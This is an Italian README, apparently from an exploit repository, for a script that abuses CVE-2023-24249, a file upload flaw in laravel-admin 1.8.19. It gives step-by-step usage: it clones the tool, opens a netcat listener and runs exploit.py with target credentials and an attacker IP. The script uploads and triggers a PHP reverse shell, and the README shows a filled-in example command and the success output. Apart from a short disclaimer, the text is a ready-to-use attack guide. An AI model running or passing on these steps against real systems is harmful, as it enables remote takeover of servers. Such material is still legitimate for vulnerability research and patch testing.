CVE-2023-24249 Script di Exploit

Descrizione

Questo repository contiene uno script di exploit per CVE-2023-24249, una vulnerabilità critica trovata in laravel-admin versione 1.8.19. Questa vulnerabilità consente il caricamento arbitrario di file, permettendo agli attaccanti di eseguire codice arbitrario tramite un file PHP appositamente predisposto. L'exploit dimostra come un attaccante può caricare una reverse shell sull'applicazione target ed eseguirla per ottenere accesso remoto.

Dettagli della Vulnerabilità

CVE-2023-24249 è una vulnerabilità di caricamento arbitrario di file in laravel-admin v1.8.19. Questa vulnerabilità consente agli attaccanti di caricare ed eseguire file PHP arbitrari, portando a una potenziale esecuzione di codice remoto.

• Punteggio Base: 7.2 HIGH
• Vettore: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Enumerazione delle debolezze: CWE-434 - Caricamento non limitato di file con tipo pericoloso

Riferimenti

• Exploit - Advisory di Terze Parti
• Repository GitHub di Laravel Admin
• Sito Ufficiale di Laravel Admin

Script di Exploit

Lo script di exploit fornito automatizza il processo di sfruttamento di CVE-2023-24249. Esegue i seguenti passaggi:

1. Autenticazione: Accede all'applicazione target utilizzando le credenziali fornite.
2. Caricamento Reverse Shell: Carica uno script reverse shell PHP tramite la funzionalità di caricamento file vulnerabile.
3. Esecuzione Reverse Shell: Invia una richiesta GET allo script reverse shell caricato per eseguirlo e stabilire una connessione di ritorno verso la macchina dell'attaccante.

Requisiti

• Python 3
• libreria requests
• libreria beautifulsoup4

Installa le librerie richieste usando pip:

pip install requests beautifulsoup4

Utilizzo

1. Clona il repository:

   root@kitploit:~

   git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
   cd CVE-2023-24249-Exploit
   

2. Avvia un listener sulla tua macchina:

   root@kitploit:~

   nc -lvnp <PORT>
   

3. Esegui lo script di exploit:

   root@kitploit:~

   python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <YOUR_IP> -p <YOUR_PORT>
   

   Sostituisci <TARGET_URL>, <USERNAME>, <PASSWORD>, <YOUR_IP> e <YOUR_PORT> con i valori appropriati:

   • <TARGET_URL>: L'URL dell'applicazione target.
   • <USERNAME>: Il nome utente per l'autenticazione.
   • <PASSWORD>: La password per l'autenticazione.

Esempio

python3 exploit.py -u http://admin.iduzzel.com -U admin -P iduzzel -i 10.10.14.13 -p 1337

Output dello Script

Se l'exploit ha successo, lo script produrrà il seguente output:

[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at <YOUR_IP>:<YOUR_PORT>

Disclaimer

Questo script è destinato esclusivamente a scopi educativi. L'uso non autorizzato di questo script contro qualsiasi sistema senza esplicito permesso è illegale e non etico. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script.